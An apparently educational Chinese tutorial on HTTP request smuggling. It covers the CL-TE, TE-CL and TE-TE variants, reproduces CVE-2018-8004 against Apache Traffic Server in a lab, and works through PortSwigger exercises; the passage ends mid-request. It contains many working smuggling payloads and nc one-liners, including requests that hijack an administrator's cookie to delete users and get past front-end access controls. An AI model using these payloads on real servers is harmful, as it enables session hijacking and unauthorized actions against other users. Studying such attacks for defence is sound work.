計算機網路-http走私
1. 產生原因
HTTP請求走私這一攻擊方式很特殊,它不像其他的Web攻擊方式那樣比較直觀,它更多的是在複雜網路環境下,不同的伺服器對RFC標準實現的方式不同,程度不同。這樣一來,對同一個HTTP請求,不同的伺服器可能會產生不同的處理結果,這樣就產生了了安全風險。
在進行後續的學習研究前,我們先來認識一下如今使用最為廣泛的HTTP 1.1
的協議特性——Keep-Alive&Pipeline
。
在HTTP1.0
之前的協議設計中,客戶端每進行一次HTTP請求,就需要同伺服器建立一個TCP連結。而現代的Web網站頁面是由多種資源組成的,我們要獲取一個網頁的內容,不僅要請求HTML文件,還有JS、CSS、圖片等各種各樣的資源,這樣如果按照之前的協議設計,就會導致HTTP伺服器的負載開銷增大。於是在HTTP1.1
Keep-Alive
和Pipeline
這兩個特性。
所謂Keep-Alive
,就是在HTTP請求中增加一個特殊的請求頭Connection: Keep-Alive
,告訴伺服器,接收完這次HTTP請求後,不要關閉TCP連結,後面對相同目標伺服器的HTTP請求,重用這一個TCP連結,這樣只需要進行一次TCP握手的過程,可以減少伺服器的開銷,節約資源,還能加快訪問速度。當然,這個特性在HTTP1.1
中是預設開啟的。
有了Keep-Alive
之後,後續就有了Pipeline
,在這裡呢,客戶端可以像流水線一樣傳送自己的HTTP請求,而不需要等待伺服器的響應,伺服器那邊接收到請求後,需要遵循先入先出機制,將請求和響應嚴格對應起來,再將響應傳送給客戶端。
現如今,瀏覽器預設是不啟用Pipeline
的,但是一般的伺服器都提供了對Pipleline
的支援。
為了提升使用者的瀏覽速度,提高使用體驗,減輕伺服器的負擔,很多網站都用上了CDN加速服務,最簡單的加速服務,就是在源站的前面加上一個具有快取功能的反向代理伺服器,使用者在請求某些靜態資源時,直接從代理伺服器中就可以獲取到,不用再從源站所在伺服器獲取。這就有了一個很典型的拓撲結構。
一般來說,反向代理伺服器與後端的源站伺服器之間,會重用TCP連結。這也很容易理解,使用者的分佈範圍是十分廣泛,建立連線的時間也是不確定的,這樣TCP連結就很難重用,而代理伺服器與後端的源站伺服器的IP地址是相對固定,不同使用者的請求通過代理伺服器與源站伺服器建立連結,這兩者之間的TCP連結進行重用,也就順理成章了。
當我們向代理伺服器傳送一個比較模糊的HTTP請求時,由於兩者伺服器的實現方式不同,可能代理伺服器認為這是一個HTTP請求,然後將其轉發給了後端的源站伺服器,但源站伺服器經過解析處理後,只認為其中的一部分為正常請求,剩下的那一部分,就算是走私的請求,當該部分對正常使用者的請求造成了影響之後,就實現了HTTP走私攻擊。
2.http走私的種類
2.1 CL不為0的GET請求
其實在這裡,影響到的並不僅僅是GET請求,所有不攜帶請求體的HTTP請求都有可能受此影響,只因為GET比較典型,我們把它作為一個例子。
在RFC2616
中,沒有對GET請求像POST請求那樣攜帶請求體做出規定,在最新的RFC7231
的4.3.1節中也僅僅提了一句。
https://tools.ietf.org/html/rfc7231#section-4.3.1
sending a payload body on a GET request might cause some existing implementations to reject the request
假設前端代理伺服器允許GET請求攜帶請求體,而後端伺服器不允許GET請求攜帶請求體,它會直接忽略掉GET請求中的Content-Length
頭,不進行處理。這就有可能導致請求走私。
比如我們構造請求
GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 44\r\n
GET / secret HTTP/1.1\r\n
Host: example.com\r\n
\r\n
前端伺服器收到該請求,通過讀取Content-Length
,判斷這是一個完整的請求,然後轉發給後端伺服器,而後端伺服器收到後,因為它不對Content-Length
進行處理,由於Pipeline
的存在,它就認為這是收到了兩個請求,分別是
第一個 GET / HTTP/1.1\r\n Host: example.com\r\n 第二個 GET / secret HTTP/1.1\r\n Host: example.com\r\n
這就導致了請求走私。在本文的4.3.1小節有一個類似於這一攻擊方式的例項,推薦結合起來看下。
2.2 CL-CL
在RFC7230
的第3.3.3
節中的第四條中,規定當伺服器收到的請求中包含兩個Content-Length
,而且兩者的值不同時,需要返回400錯誤。
但是總有伺服器不會嚴格的實現該規範,假設中間的代理伺服器和後端的源站伺服器在收到類似的請求時,都不會返回400錯誤,但是中間代理伺服器按照第一個Content-Length
的值對請求進行處理,而後端源站伺服器按照第二個Content-Length
的值進行處理。
此時惡意攻擊者可以構造一個特殊的請求
POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n
12345\r\n
a
中間代理伺服器獲取到的資料包的長度為8,將上述整個資料包原封不動的轉發給後端的源站伺服器,而後端伺服器獲取到的資料包長度為7。當讀取完前7個字元後,後端伺服器認為已經讀取完畢,然後生成對應的響應,傳送出去。而此時的緩衝區去還剩餘一個字母a
,對於後端伺服器來說,這個a
是下一個請求的一部分,但是還沒有傳輸完畢。此時恰巧有一個其他的正常使用者對伺服器進行了請求,假設請求如圖所示。
GET /index.html HTTP/1.1\r\n
Host: example.com\r\n
從前面我們也知道了,代理伺服器與源站伺服器之間一般會重用TCP連線。
這時候正常使用者的請求就拼接到了字母a
的後面,當後端伺服器接收完畢後,它實際處理的請求其實是
aGET /index.html HTTP/1.1\r\n Host: example.com\r\n
這時候使用者就會收到一個類似於aGET request method not found
的報錯。這樣就實現了一次HTTP走私攻擊,而且還對正常使用者的行為造成了影響,而且後續可以擴充套件成類似於CSRF的攻擊方式。
但是兩個Content-Length
這種請求包還是太過於理想化了,一般的伺服器都不會接受這種存在兩個請求頭的請求包。但是在RFC2616
的第4.4節中,規定:如果收到同時存在Content-Length和Transfer-Encoding這兩個請求頭的請求包時,在處理的時候必須忽略Content-Length
,這其實也就意味著請求包中同時包含這兩個請求頭並不算違規,伺服器也不需要返回400
錯誤。伺服器在這裡的實現更容易出問題。
2.3 CL-TE
所謂CL-TE
,就是當收到存在兩個請求頭的請求包時,前端代理伺服器只處理Content-Length
這一請求頭,而後端伺服器會遵守RFC2616
的規定,忽略掉Content-Length
,處理Transfer-Encoding
這一請求頭。
chunk傳輸資料格式如下,其中size的值由16進製表示。
[chunk size][\r\n][chunk data][\r\n][chunk size][\r\n][chunk data][\r\n][chunk size = 0][\r\n][\r\n]
Lab 地址:https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
構造資料包
POST / HTTP/1.1\r\n
Host: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=E9m1pnYfbvtMyEnTYSe5eijPDC04EVm3\r\n
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
G
連續傳送幾次請求就可以獲得該響應。
由於前端伺服器處理Content-Length
,所以這個請求對於它來說是一個完整的請求,請求體的長度為6,也就是
0\r\n \r\n G
當請求包經過代理伺服器轉發給後端伺服器時,後端伺服器處理Transfer-Encoding
,當它讀取到0\r\n\r\n
時,認為已經讀取到結尾了,但是剩下的字母G
就被留在了緩衝區中,等待後續請求的到來。當我們重複傳送請求後,傳送的請求在後端伺服器拼接成了類似下面這種請求。
GPOST / HTTP/1.1\r\n Host: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\n ......
伺服器在解析時當然會產生報錯了。
2.4 TE-CL
所謂TE-CL
,就是當收到存在兩個請求頭的請求包時,前端代理伺服器處理Transfer-Encoding
這一請求頭,而後端伺服器處理Content-Length
請求頭。
Lab地址:https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl
構造資料包
POST / HTTP/1.1\r\n
Host: acf41f441edb9dc9806dca7b00000035.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=3Eyiu83ZSygjzgAfyGPn8VdGbKw5ifew\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
12\r\n
GPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n
由於前端伺服器處理Transfer-Encoding
,當其讀取到0\r\n\r\n
時,認為是讀取完畢了,此時這個請求對代理伺服器來說是一個完整的請求,然後轉發給後端伺服器,後端伺服器處理Content-Length
請求頭,當它讀取完12\r\n
之後,就認為這個請求已經結束了,後面的資料就認為是另一個請求了,也就是
GPOST / HTTP/1.1\r\n \r\n 0\r\n \r\n
成功報錯。
2.5 TE-TE
TE-TE
,也很容易理解,當收到存在兩個請求頭的請求包時,前後端伺服器都處理Transfer-Encoding
請求頭,這確實是實現了RFC的標準。不過前後端伺服器畢竟不是同一種,這就有了一種方法,我們可以對傳送的請求包中的Transfer-Encoding
進行某種混淆操作,從而使其中一個伺服器不處理Transfer-Encoding
請求頭。從某種意義上還是CL-TE
或者TE-CL
。
Lab地址:https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header
構造資料包
POST / HTTP/1.1\r\n
Host: ac4b1fcb1f596028803b11a2007400e4.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=Mew4QW7BRxkhk0p1Thny2GiXiZwZdMd8\r\n
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
GPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n
3. HTTP走私攻擊例項——CVE-2018-8004
3.1 漏洞概述
Apache Traffic Server(ATS)是美國阿帕奇(Apache)軟體基金會的一款高效、可擴充套件的HTTP代理和快取伺服器。
Apache ATS 6.0.0版本至6.2.2版本和7.0.0版本至7.1.3版本中存在安全漏洞。攻擊者可利用該漏洞實施HTTP請求走私攻擊或造成快取中毒。
在美國國家資訊保安漏洞庫中,我們可以找到關於該漏洞的四個補丁,接下來我們詳細看一下。
CVE-2018-8004 補丁列表
- https://github.com/apache/trafficserver/pull/3192
- https://github.com/apache/trafficserver/pull/3201
- https://github.com/apache/trafficserver/pull/3231
- https://github.com/apache/trafficserver/pull/3251
注:雖然漏洞通告中描述該漏洞影響範圍到7.1.3版本,但從github上補丁歸檔的版本中看,在7.1.3版本中已經修復了大部分的漏洞。
3.2 測試環境
3.2.1 簡介
在這裡,我們以ATS 7.1.2為例,搭建一個簡單的測試環境。
環境元件介紹
反向代理伺服器 IP: 10.211.55.22:80 Ubuntu 16.04 Apache Traffic Server 7.1.2 後端伺服器1-LAMP IP: 10.211.55.2:10085 Apache HTTP Server 2.4.7 PHP 5.5.9 後端伺服器2-LNMP IP: 10.211.55.2:10086 Nginx 1.4.6 PHP 5.5.9
環境拓撲圖
Apache Traffic Server 一般用作HTTP代理和快取伺服器,在這個測試環境中,我將其執行在了本地的Ubuntu虛擬機器中,把它配置為後端伺服器LAMP&LNMP的反向代理,然後修改本機HOST檔案,將域名ats.mengsec.com
和lnmp.mengsec,com
解析到這個IP,然後在ATS上配置對映,最終實現的效果就是,我們在本機訪問域名ats.mengsec.com
通過中間的代理伺服器,獲得LAMP的響應,在本機訪問域名lnmp.mengsec,com
,獲得LNMP的響應。
為了方便檢視請求的資料包,我在LNMP和LAMP的Web目錄下都放置了輸出請求頭的指令碼。
LNMP:
<?php
echo 'This is Nginx<br>';
if (!function_exists('getallheaders')) {
function getallheaders() {
$headers = array();
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_') {
$headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
}
}
return $headers;
}
}
var_dump(getallheaders());
$data = file_get_contents("php://input");
print_r($data);
LAMP:
<?php
echo 'This is LAMP:80<br>';
var_dump(getallheaders());
$data = file_get_contents("php://input");
print_r($data);
3.2.2 搭建過程
在GIthub上下載原始碼編譯安裝ATS。
https://github.com/apache/trafficserver/archive/7.1.2.tar.gz
安裝依賴&常用工具。
apt-get install -y autoconf automake libtool pkg-config libmodule-install-perl gcc libssl-dev libpcre3-dev libcap-dev libhwloc-dev libncurses5-dev libcurl4-openssl-dev flex tcl-dev net-tools vim curl wget
然後解壓原始碼,進行編譯&安裝。
autoreconf -if ./configure --prefix=/opt/ts-712 make make install
安裝完畢後,配置反向代理和對映。
編輯records.config
配置檔案,在這裡暫時把ATS的快取功能關閉。
vim /opt/ts-712/etc/trafficserver/records.config CONFIG proxy.config.http.cache.http INT 0 # 關閉快取 CONFIG proxy.config.reverse_proxy.enabled INT 1 # 啟用反向代理 CONFIG proxy.config.url_remap.remap_required INT 1 # 限制ats僅能訪問map表中對映的地址 CONFIG proxy.config.http.server_ports STRING 80 80:ipv6 # 監聽在本地80埠
編輯remap.config
配置檔案,在末尾新增要對映的規則表。
vim /opt/ts-712/etc/trafficserver/remap.config map http://lnmp.mengsec.com/ http://10.211.55.2:10086/ map http://ats.mengsec.com/ http://10.211.55.2:10085/
配置完畢後重啟一下伺服器使配置生效,我們可以正常訪問來測試一下。
為了準確獲得伺服器的響應,我們使用管道符和nc
來與伺服器建立連結。
printf 'GET / HTTP/1.1\r\n'\
'Host:ats.mengsec.com\r\n'\
'\r\n'\
| nc 10.211.55.22 80
可以看到我們成功的訪問到了後端的LAMP伺服器。
同樣的可以測試,代理伺服器與後端LNMP伺服器的連通性。
printf 'GET / HTTP/1.1\r\n'\
'Host:lnmp.mengsec.com\r\n'\
'\r\n'\
| nc 10.211.55.22 80
3.3 漏洞測試
來看下四個補丁以及它的描述
https://github.com/apache/trafficserver/pull/3192 # 3192 如果欄位名稱後面和冒號前面有空格,則返回400 https://github.com/apache/trafficserver/pull/3201 # 3201 當返回400錯誤時,關閉連結 https://github.com/apache/trafficserver/pull/3231 # 3231 驗證請求中的Content-Length頭 https://github.com/apache/trafficserver/pull/3251 # 3251 當快取命中時,清空請求體
3.3.1 第一個補丁
https://github.com/apache/trafficserver/pull/3192 # 3192 如果欄位名稱後面和冒號前面有空格,則返回400
看介紹是給ATS增加了RFC7230
第3.2.4
章的實現,
在其中,規定了HTTP的請求包中,請求頭欄位與後續的冒號之間不能有空白字元,如果存在空白字元的話,伺服器必須返回400
,從補丁中來看的話,在ATS 7.1.2中,並沒有對該標準進行一個詳細的實現。當ATS伺服器接收到的請求中存在請求欄位與:
之間存在空格的欄位時,並不會對其進行修改,也不會按照RFC標準所描述的那樣返回400
錯誤,而是直接將其轉發給後端伺服器。
而當後端伺服器也沒有對該標準進行嚴格的實現時,就有可能導致HTTP走私攻擊。比如Nginx伺服器,在收到請求頭欄位與冒號之間存在空格的請求時,會忽略該請求頭,而不是返回400
錯誤。
在這時,我們可以構造一個特殊的HTTP請求,進行走私。
GET / HTTP/1.1
Host: lnmp.mengsec.com
Content-Length : 56
GET / HTTP/1.1
Host: lnmp.mengsec.com
attack: 1
foo:
很明顯,請求包中下面的資料部分在傳輸過程中被後端伺服器解析成了請求頭。
來看下Wireshark中的資料包,ATS在與後端Nginx伺服器進行資料傳輸的過程中,重用了TCP連線。
只看一下請求,如圖所示:
陰影部分為第一個請求,剩下的部分為第二個請求。
在我們傳送的請求中,存在特殊構造的請求頭Content-Length : 56
,56就是後續資料的長度。
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
attack: 1\r\n
foo:
在資料的末尾,不存在\r\n
這個結尾。
當我們的請求到達ATS伺服器時,因為ATS伺服器可以解析Content-Length : 56
這個中間存在空格的請求頭,它認為這個請求頭是有效的。這樣一來,後續的資料也被當做這個請求的一部分。總的來看,對於ATS伺服器,這個請求就是完整的一個請求。
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
Content-Length : 56\r\n
\r\n
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
attack: 1\r\n
foo:
ATS收到這個請求之後,根據Host欄位的值,將這個請求包轉發給對應的後端伺服器。在這裡是轉發到了Nginx伺服器上。
而Nginx伺服器在遇到類似於這種Content-Length : 56
的請求頭時,會認為其是無效的,然後將其忽略掉。但並不會返回400錯誤,對於Nginx來說,收到的請求為
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
\r\n
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
attack: 1\r\n
foo:
因為最後的末尾沒有\r\n
,這就相當於收到了一個完整的GET請求和一個不完整的GET請求。
完整的:
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
\r\n
不完整的:
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
attack: 1\r\n
foo:
在這時,Nginx就會將第一個請求包對應的響應傳送給ATS伺服器,然後等待後續的第二個請求傳輸完畢再進行響應。
當ATS轉發的下一個請求到達時,對於Nginx來說,就直接拼接到了剛剛收到的那個不完整的請求包的後面。也就相當於
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
attack: 1\r\n
foo: GET / HTTP/1.1\r\n
Host: 10.211.55.2:10086\r\n
X-Forwarded-For: 10.211.55.2\r\n
Via: http/1.1 mengchen-ubuntu[3ff3687d-fa2a-4198-bc9a-0e98786adc62] (ApacheTrafficServer/7.1.2)\r\n
然後Nginx將這個請求包的響應傳送給ATS伺服器,我們收到的響應中就存在了attack: 1
和foo: GET / HTTP/1.1
這兩個鍵值對了。
那這會造成什麼危害呢?可以想一下,如果ATS轉發的第二個請求不是我們傳送的呢?讓我們試一下。
假設在Nginx伺服器下存在一個admin.php
,程式碼內容如下:
<?php
if(isset($_COOKIE['admin']) && $_COOKIE['admin'] == 1){
echo "You are Admin\n";
if(isset($_GET['del'])){
echo 'del user ' . $_GET['del'];
}
}else{
echo "You are not Admin";
}
由於HTTP協議本身是無狀態的,很多網站都是使用Cookie來判斷使用者的身份資訊。通過這個漏洞,我們可以盜用管理員的身份資訊。在這個例子中,管理員的請求中會攜帶這個一個Cookie
的鍵值對admin=1
,當擁有管理員身份時,就能通過GET方式傳入要刪除的使用者名稱稱,然後刪除對應的使用者。
在前面我們也知道了,通過構造特殊的請求包,可以使Nginx伺服器把收到的某個請求作為上一個請求的一部分。這樣一來,我們就能盜用管理員的Cookie了。
構造資料包
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
Content-Length : 78\r\n
\r\n
GET /admin.php?del=mengchen HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
attack: 1\r\n
foo:
然後是管理員的正常請求
GET / HTTP/1.1
Host: lnmp.mengsec.com
Cookie: admin=1
讓我們看一下效果如何。
在Wireshark的資料包中看的很直觀,陰影部分為管理員傳送的正常請求。
在Nginx伺服器上拼接到了上一個請求中, 成功刪除了使用者mengchen。
3.3.2 第二個補丁
https://github.com/apache/trafficserver/pull/3201 # 3201 當返回400錯誤時,關閉連線
這個補丁說明了,在ATS 7.1.2中,如果請求導致了400錯誤,建立的TCP連結也不會關閉。在regilero的對CVE-2018-8004的分析文章中,說明了如何利用這個漏洞進行攻擊。
printf 'GET / HTTP/1.1\r\n'\ 'Host: ats.mengsec.com\r\n'\ 'aa: \0bb\r\n'\ 'foo: bar\r\n'\ 'GET /2333 HTTP/1.1\r\n'\ 'Host: ats.mengsec.com\r\n'\ '\r\n'\ | nc 10.211.55.22 80
一共能夠獲得2個響應,都是400錯誤。
ATS在解析HTTP請求時,如果遇到NULL
,會導致一個截斷操作,我們傳送的這一個請求,對於ATS伺服器來說,算是兩個請求。
第一個
GET / HTTP/1.1\r\n
Host: ats.mengsec.com\r\n
aa:
第二個
bb\r\n foo: bar\r\n GET /2333 HTTP/1.1\r\n Host: ats.mengsec.com\r\n \r\n
第一個請求在解析的時候遇到了NULL
,ATS伺服器響應了第一個400錯誤,後面的bb\r\n
成了後面請求的開頭,不符合HTTP請求的規範,這就響應了第二個400錯誤。
再進行修改下進行測試
printf 'GET / HTTP/1.1\r\n'\ 'Host: ats.mengsec.com\r\n'\ 'aa: \0bb\r\n'\ 'GET /1.html HTTP/1.1\r\n'\ 'Host: ats.mengsec.com\r\n'\ '\r\n'\ | nc 10.211.55.22 80
一個400響應,一個200響應,在Wireshark中也能看到,ATS把第二個請求轉發給了後端Apache伺服器。
那麼由此就已經算是一個HTTP請求拆分攻擊了,
GET / HTTP/1.1\r\n
Host: ats.mengsec.com\r\n
aa: \0bb\r\n
GET /1.html HTTP/1.1\r\n
Host: ats.mengsec.com\r\n
\r\n
但是這個請求包,怎麼看都是兩個請求,中間的GET /1.html HTTP/1.1\r\n
不符合HTTP資料包中請求頭Name:Value
的格式。在這裡我們可以使用absoluteURI
,在RFC2616
中第5.1.2
節中規定了它的詳細格式。
我們可以使用類似GET http://www.w3.org/pub/WWW/TheProject.html HTTP/1.1
的請求頭進行請求。
構造資料包
GET /400 HTTP/1.1\r\n
Host: ats.mengsec.com\r\n
aa: \0bb\r\n
GET http://ats.mengsec.com/1.html HTTP/1.1\r\n
\r\n
GET /404 HTTP/1.1\r\n
Host: ats.mengsec.com\r\n
\r\n
printf 'GET /400 HTTP/1.1\r\n'\ 'Host: ats.mengsec.com\r\n'\ 'aa: \0bb\r\n'\ 'GET http://ats.mengsec.com/1.html HTTP/1.1\r\n'\ '\r\n'\ 'GET /404 HTTP/1.1\r\n'\ 'Host: ats.mengsec.com\r\n'\ '\r\n'\ | nc 10.211.55.22 80
本質上來說,這是兩個HTTP請求,第一個為
GET /400 HTTP/1.1\r\n
Host: ats.mengsec.com\r\n
aa: \0bb\r\n
GET http://ats.mengsec.com/1.html HTTP/1.1\r\n
\r\n
其中GET http://ats.mengsec.com/1.html HTTP/1.1
為名為GET http
,值為//ats.mengsec.com/1.html HTTP/1.1
的請求頭。
第二個為
GET /404 HTTP/1.1\r\n
Host: ats.mengsec.com\r\n
\r\n
當該請求傳送給ATS伺服器之後,我們可以獲取到三個HTTP響應,第一個為400,第二個為200,第三個為404。多出來的那個響應就是ATS中間對伺服器1.html的請求的響應。
根據HTTP Pipepline的先入先出規則,假設攻擊者向ATS伺服器傳送了第一個惡意請求,然後受害者向ATS伺服器傳送了一個正常的請求,受害者獲取到的響應,就會是攻擊者傳送的惡意請求中的GET http://evil.mengsec.com/evil.html HTTP/1.1
中的內容。這種攻擊方式理論上是可以成功的,但是利用條件還是太苛刻了。
對於該漏洞的修復方式,ATS伺服器選擇了,當遇到400錯誤時,關閉TCP連結,這樣無論後續有什麼請求,都不會對其他使用者造成影響了。
4.3.3 第三個補丁
https://github.com/apache/trafficserver/pull/3231 # 3231 驗證請求中的Content-Length頭
在該補丁中,bryancall 的描述是
當Content-Length請求頭不匹配時,響應400,刪除具有相同Content-Length請求頭的重複副本,如果存在Transfer-Encoding請求頭,則刪除Content-Length請求頭。
從這裡我們可以知道,ATS 7.1.2版本中,並沒有對RFC2616
的標準進行完全實現,我們或許可以進行CL-TE
走私攻擊。
構造請求
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
G
多次傳送後就能獲得405 Not Allowed
響應。
我們可以認為,後續的多個請求在Nginx伺服器上被組合成了類似如下所示的請求。
GGET / HTTP/1.1\r\n Host: lnmp.mengsec.com\r\n ......
對於Nginx來說,GGET
這種請求方法是不存在的,當然會返回405
報錯了。
接下來嘗試攻擊下admin.php
,構造請求
GET / HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
Content-Length: 83\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
GET /admin.php?del=mengchen HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
attack: 1\r\n
foo:
多次請求後獲得了響應You are not Admin
,說明伺服器對admin.php
進行了請求。
如果此時管理員已經登入了,然後想要訪問一下網站的主頁。他的請求為
GET / HTTP/1.1
Host: lnmp.mengsec.com
Cookie: admin=1
效果如下
我們可以看一下Wireshark的流量,其實還是很好理解的。
陰影所示部分就是管理員傳送的請求,在Nginx伺服器中組合進入了上一個請求中,就相當於
GET /admin.php?del=mengchen HTTP/1.1
Host: lnmp.mengsec.com
attack: 1
foo: GET / HTTP/1.1
Host: 10.211.55.2:10086
Cookie: admin=1
X-Forwarded-For: 10.211.55.2
Via: http/1.1 mengchen-ubuntu[e9365059-ad97-40c8-afcb-d857b14675f6] (ApacheTrafficServer/7.1.2)
攜帶著管理員的Cookie進行了刪除使用者的操作。這個與前面4.3.1中的利用方式在某種意義上其實是相同的。
3.3.4 第四個補丁
https://github.com/apache/trafficserver/pull/3251 # 3251 當快取命中時,清空請求體
當時看這個補丁時,感覺是一臉懵逼,只知道應該和快取有關,但一直想不到哪裡會出問題。看程式碼也沒找到,在9月17號的時候regilero的分析文章出來才知道問題在哪。
當快取命中之後,ATS伺服器會忽略請求中的Content-Length
請求頭,此時請求體中的資料會被ATS當做另外的HTTP請求來處理,這就導致了一個非常容易利用的請求走私漏洞。
在進行測試之前,把測試環境中ATS伺服器的快取功能開啟,對預設配置進行一下修改,方便我們進行測試。
vim /opt/ts-712/etc/trafficserver/records.config CONFIG proxy.config.http.cache.http INT 1 # 開啟快取功能 CONFIG proxy.config.http.cache.ignore_client_cc_max_age INT 0 # 使客戶端Cache-Control頭生效,方便控制快取過期時間 CONFIG proxy.config.http.cache.required_headers INT 1 # 當收到Cache-control: max-age 請求頭時,就對響應進行快取
然後重啟伺服器即可生效。
為了方便測試,我在Nginx網站目錄下寫了一個生成隨機字串的指令碼random_str.php
function randomkeys($length){
$output='';
for ($a = 0; $a<$length; $a++) {
$output .= chr(mt_rand(33, 126));
}
return $output;
}
echo "get random string: ";
echo randomkeys(8);
構造請求包
GET /1.html HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
Cache-control: max-age=10\r\n
Content-Length: 56\r\n
\r\n
GET /random_str.php HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
\r\n
第一次請求
第二次請求
可以看到,當快取命中時,請求體中的資料變成了下一個請求,並且成功的獲得了響應。
GET /random_str.php HTTP/1.1\r\n
Host: lnmp.mengsec.com\r\n
\r\n
而且在整個請求中,所有的請求頭都是符合RFC規範的,這就意味著,在ATS前方的代理伺服器,哪怕嚴格實現了RFC標準,也無法避免該攻擊行為對其他使用者造成影響。
ATS的修復措施也是簡單粗暴,當快取命中時,把整個請求體清空就好了。
4. 其他攻擊例項
在前面,我們已經看到了不同種代理伺服器組合所產生的HTTP請求走私漏洞,也成功模擬了使用HTTP請求走私這一攻擊手段來進行會話劫持,但它能做的不僅僅是這些,在PortSwigger中提供了利用HTTP請求走私攻擊的實驗,可以說是很典型了。
4.1 繞過前端伺服器的安全控制
在這個網路環境中,前端伺服器負責實現安全控制,只有被允許的請求才能轉發給後端伺服器,而後端伺服器無條件的相信前端伺服器轉發過來的全部請求,對每個請求都進行響應。因此我們可以利用HTTP請求走私,將無法訪問的請求走私給後端伺服器並獲得響應。在這裡有兩個實驗,分別是使用CL-TE
和TE-CL
繞過前端的訪問控制。
4.1.1 使用CL-TE繞過前端伺服器安全控制
實驗的最終目的是獲取admin許可權並刪除使用者carlos
我們直接訪問/admin
,會返回提示Path /admin is blocked
,看樣子是被前端伺服器阻止了,根據題目的提示CL-TE
,我們可以嘗試構造資料包
POST / HTTP/1.1
Host: ac1b1f991edef1f1802323bc00e10084.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: session=Iegl0O4SGnwlddlFQzxduQdt8NwqWsKI
Content-Length: 38
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
foo: bar
進行多次請求之後,我們可以獲得走私過去的請求的響應。
提示只有是以管理員身份訪問或者在本地登入才可以訪問/admin
介面。
在下方走私的請求中,新增一個Host: localhost
請求頭,然後重新進行請求,一次不成功多試幾次。
如圖所示,我們成功訪問了admin介面。也知道了如何刪除一個使用者,也就是對/admin/delete?username=carlos
進行請求。
修改下走私的請求包再發送幾次即可成功刪除使用者carlos
。
需要注意的一點是在這裡,不需要我們對其他使用者造成影響,因此走私過去的請求也必須是一個完整的請求,最後的兩個\r\n
不能丟棄。
4.1.1 使用TE-CL繞過前端伺服器安全控制
這個實驗與上一個就十分類似了,具體攻擊過程就不在贅述了。
4.2 獲取前端伺服器重寫請求欄位
在有的網路環境下,前端代理伺服器在收到請求後,不會直接轉發給後端伺服器,而是先新增一些必要的欄位,然後再轉發給後端伺服器。這些欄位是後端伺服器對請求進行處理所必須的,比如:
- 描述TLS連線所使用的協議和密碼
- 包含使用者IP地址的XFF頭
- 使用者的會話令牌ID
總之,如果不能獲取到代理伺服器新增或者重寫的欄位,我們走私過去的請求就不能被後端伺服器進行正確的處理。那麼我們該如何獲取這些值呢。PortSwigger提供了一個很簡單的方法,主要是三大步驟:
- 找一個能夠將請求引數的值輸出到響應中的POST請求
- 把該POST請求中,找到的這個特殊的引數放在訊息的最後面
- 然後走私這一個請求,然後直接傳送一個普通的請求,前端伺服器對這個請求重寫的一些欄位就會顯示出來。
怎麼理解呢,還是做一下實驗來一起來學習下吧。
實驗的最終目的還是刪除使用者 carlos
。
我們首先進行第一步驟,找一個能夠將請求引數的值輸出到響應中的POST請求。
在網頁上方的搜尋功能就符合要求
構造資料包
POST / HTTP/1.1
Host: ac831f8c1f287d3d808d2e1c00280087.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Content-Type: application/x-www-form-urlencoded
